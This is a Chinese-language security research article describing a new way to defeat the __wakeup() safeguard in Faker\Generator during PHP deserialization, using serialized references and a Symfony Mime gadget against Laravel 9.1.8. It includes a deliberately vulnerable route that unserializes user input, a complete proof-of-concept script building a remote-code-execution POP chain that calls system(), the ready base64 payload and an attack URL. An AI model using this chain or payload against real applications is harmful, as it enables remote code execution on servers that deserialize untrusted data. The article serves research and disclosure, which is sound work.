A new way to bypass __wakeup() and build POP chain

A new way to bypass `__wakeup()` and build POP chain

本文收录于 seebug paper ：https://paper.seebug.org/1905/

本文以 Laravel 9.1.8 为例，介绍一个通用的新思路，用以绕过 pop chain 构造过程中遇到的 __wakeup()

环境搭建

Laravel 9.1.8

routes/web.php ：

<?php

use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', function (\Illuminate\Http\Request $request) {
//    return view('welcome');
    $ser = base64_decode($request->input("ser"));
    unserialize($ser);
    return "ok";
});

要绕过的 `__wakeup()`

https://github.com/FakerPHP/Faker

https://github.com/FakerPHP/Faker/pull/136

https://github.com/FakerPHP/Faker/pull/136/commits/841e8bdde345cc1ea9f98e776959e7531cadea0e

在 laravel < v5.7 , yii2 < 2.0.38 的情况下， Faker\Generator 是非常好用的反序列化 gagdet ，但是从 FakerPHP v 1.12.1 之后， Generator.php 中加了个 __wakeup() 方法：

public function __wakeup()
{
    $this->formatters = [];
}

这使得 $this->formatters 的值始终为空 array ，这个 gagdet 一定程度上，不能用了。

本文提供一个通用的新思路，用以绕过 pop chain 构造过程中遇到的 __wakeup()

梳理绕过思路

关键词：reference

https://www.phpinternalsbook.com/php5/classes_objects/serialization.html

demo

首先考虑这样一个 demo ：

<?php
class Foo
{
    public $bitch;
    public $fuck;

    public function __destruct()
    {
        $this->bitch = "bitch";

        var_dump($this->fuck);
    }

    public function __wakeup()
    {
        $this->fuck = 'fuck';
    }
}
$s = 'O:3:"Foo":2:{s:5:"bitch";N;s:4:"fuck";R:2;}';
$o = unserialize($s);
var_dump($o->fuck);

运行结果：

可以看到 s:4:"fuck";R:2; ，使得 $this->fuck 和 $this->bitch 指向的是同一个值，即 $this->fuck 修改了 $this->bitch 也被修改了， $this->bitch 修改了 $this->fuck 也被修改了

核心思想

让 Faker\Generator 的 $this->formatters 和某个对象$o的某个属性 $a 指向同一个值
在 Faker\Generator 的 __wakeup() 运行完之后，反序列化 gadget 的 __destruct() 运行之前，给 $a 赋值
$a 的赋值如果完全可控，那么 $this->formatters 将不再为空，且完全可控

寻找绕过用的 gadget

根据上面的思路，很容易想到，找一个合适的 __wakeup() 或者 __destruct()

其中最好有类似这样的代码：

1	$this->a = $this->b;

1	$this->a[$this->b] = $this->c

经过搜索排查，这里给出三个可以用的 gadget ：

Symfony\Component\Mime\Part\SMimePart.php ：

namespace Symfony\Component\Mime\Part;
class SMimePart extends AbstractPart
public function __wakeup(): void
{
    $r = new \ReflectionProperty(AbstractPart::class, 'headers');
    $r->setAccessible(true);
    $r->setValue($this, $this->_headers);
    unset($this->_headers);
}

这个类来自 https://github.com/symfony/mime ，其 $headers 属性继承自其父类 AbstractPart，__wakeup() 当中使用反射给 $headers 赋值

翻看 git log ，可以看到从项目建立开始，这个 SMimePart 的 __wakeup() 就存在，而且没有变过（ 也就是说凡是使用了 symfony/mime 这个依赖的项目，其 __wakeup() 都可能可以绕过 ）：

除此之外，Part/DataPart.php 和 Part/TextPart.php 的 __wakeup() 也和 Part/SMimePart.php 大致相同，一样可以被用作 gadget

构造 poc

比如对 Laravel/RCE1 这条链进行改造：

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/1/gadgets.php

<?php
namespace Faker{
    class Generator{
        protected $providers = [];
        protected $formatters = [];
        function __construct()
        {
            $this->formatter = "dispatch";
            $this->formatters = 9999;
        }

    }
}

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        public function __construct()
        {
            $this->event = "calc.exe";
            $this->events = new \Faker\Generator();
        }
    }
}

namespace Symfony\Component\Mime\Part{
    abstract class AbstractPart
    {
        private $headers = null;
    }
    class SMimePart extends AbstractPart{
        protected $_headers;
        public $inhann;
        function __construct(){
            $this->_headers = ["dispatch"=>"system"];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast();
        }
    }
}


namespace{
    $a = new \Symfony\Component\Mime\Part\SMimePart();
    $ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($a));
    echo base64_encode(str_replace("i:9999","R:2",$ser));
}

让 Faker\Generator 的 $this->formatters 引用到 Symfony\Component\Mime\Part\SMimePart 继承的 $headers
将 Symfony\Component\Mime\Part\SMimePart 继承的 $headers 的序列化数据排列到 Faker\Generator 的 $this->formatters 的序列化数据之前（这里用正则进行调整）
让 Faker\Generator 是 Symfony\Component\Mime\Part\SMimePart 的一个属性（这里自己随便写了个属性 $inhann），这样一来 Symfony\Component\Mime\Part\SMimePart 的 __wakeup 才会在 Faker\Generator 的 __wakeup 之后执行
Symfony\Component\Mime\Part\SMimePart 的 __destruct() 默认情况没有影响

result ：

TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

attack :

http://127.0.0.1/?ser=TzozNzoiU3ltZm9ueVxDb21wb25lbnRcTWltZVxQYXJ0XFNNaW1lUGFydCI6Mzp7czo0OToiAFN5bWZvbnlcQ29tcG9uZW50XE1pbWVcUGFydFxBYnN0cmFjdFBhcnQAaGVhZGVycyI7TjtzOjExOiIAKgBfaGVhZGVycyI7YToxOntzOjg6ImRpc3BhdGNoIjtzOjY6InN5c3RlbSI7fXM6NjoiaW5oYW5uIjtPOjQwOiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xQZW5kaW5nQnJvYWRjYXN0IjoyOntzOjU6ImV2ZW50IjtzOjg6ImNhbGMuZXhlIjtzOjY6ImV2ZW50cyI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjozOntzOjEyOiIAKgBwcm92aWRlcnMiO2E6MDp7fXM6MTM6IgAqAGZvcm1hdHRlcnMiO1I6MjtzOjk6ImZvcm1hdHRlciI7czo4OiJkaXNwYXRjaCI7fX19

这条链子改进之后，已整合进phpggc：

https://github.com/ambionics/phpggc/issues/118

https://github.com/ambionics/phpggc/blob/master/gadgetchains/Laravel/RCE/11/gadgets.php

调试：

Generator\Generator 的 __wakeup() 先被调用：

Symfony\Component\Mime\Part\SMimePart 的 __wakeup() 随后被调用，并将 $this->_headers 赋值给 $this->headers ：

然后才进入 __destruct() ：

可以看到，虽然 Generator\Generator 的 __wakeup() 执行了，但是 $this->formatters 不为空：

总结

总的来说，本文介绍的 bypass __wakeup() 并不是跳过 __wakeup() 的执行，而是通过构造包含reference的特殊序列化数据，达到对冲 __wakeup() 的效果。一般情况下，如果 __wakeup() 里面是对属性的再赋值，而没有 throw Exception 之类的，环境依赖又恰到好处，那就可以达到本文所说的 bypass。